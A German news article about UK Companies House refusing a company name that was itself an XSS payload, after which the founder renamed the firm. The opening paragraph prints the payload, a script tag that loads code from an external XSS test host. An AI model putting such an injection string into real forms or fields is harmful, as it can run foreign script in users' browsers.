Eher Hack als Name: XSS-Exploit als Firmenname nicht zugelassen

Nicht nur bei Namen für Kinder gibt es Grenzen - auch bei Unternehmen kommt man nicht mit allen originellen Ideen durch. Vor allem dann nicht, wenn der Firmenname auch als Exploit gegen unsichere Webformulare genutzt werden kann. Ein Brite fand es ursprünglich offenbar lustig, seine Firma "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD zu nennen, wie aus einem Bericht der Zeitung The Guardian hervorgeht. Dabei handelt es sich um einen Exploit-Code, der gegen Webseiten eingesetzt werden kann, die ihre Formular nicht hinreichend gut gegen Cross-Site-Scripting (XSS)-Angriffe schützen. Denn wenn der Name so in ein ungesichertes Textfeld eingegeben wird, kann die dahinterliegende Anwendung annehmen, dass kein Firmenname eingetragen wurde.

Stattdessen führt der Interpreter den nachfolgenden HTML-Tag aus und lädt ein Skript von einer externen Quelle nach. Dabei handelt es sich in dem gegebenen Fall um Demo-Code, der auf einer Website bereitgestellt wird, die speziell für Tests auf XSS-Schwachstellen existiert. Hier würde dann lediglich eine harmlose Warnung auf dem Bildschirm des Nutzers erscheinen.

Neuer Name ist...merkbarer

Selbst dies war den Mitarbeitern des Companies House, die das britische Unternehmensregister verwalten, zu viel des Guten. Sie untersagten den Einsatz des Firmennamens, da dieser im Zweifelsfall zu unerwarteten Folgen führen könnte, wenn die Inhalte der Behörden-Datenbank auf Webseiten von Dritten publiziert werden. Das steht nach Ansicht der Behörde nicht mit der Tradition im Einklang, dass man einen jederzeit sicheren Service bereitstellen möchte und dies von den Bürgern auch erwartet wird.

Generell wäre der Firmenname nicht untersagt - denn die Verwendung von spitzen Klammern und ähnlichen Sonderzeichen ist grundsätzlich erlaubt. Und es interessiert die Behörde auch nicht, ob der Unternehmensname überhaupt von anderen Personen richtig ausgesprochen werden könnte. Es geht also wirklich nur um das potenzielle Sicherheitsrisiko. Der Gründer der Firma musste seine Unternehmung also umbenennen - sie heißt jetzt THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD.

Siehe auch: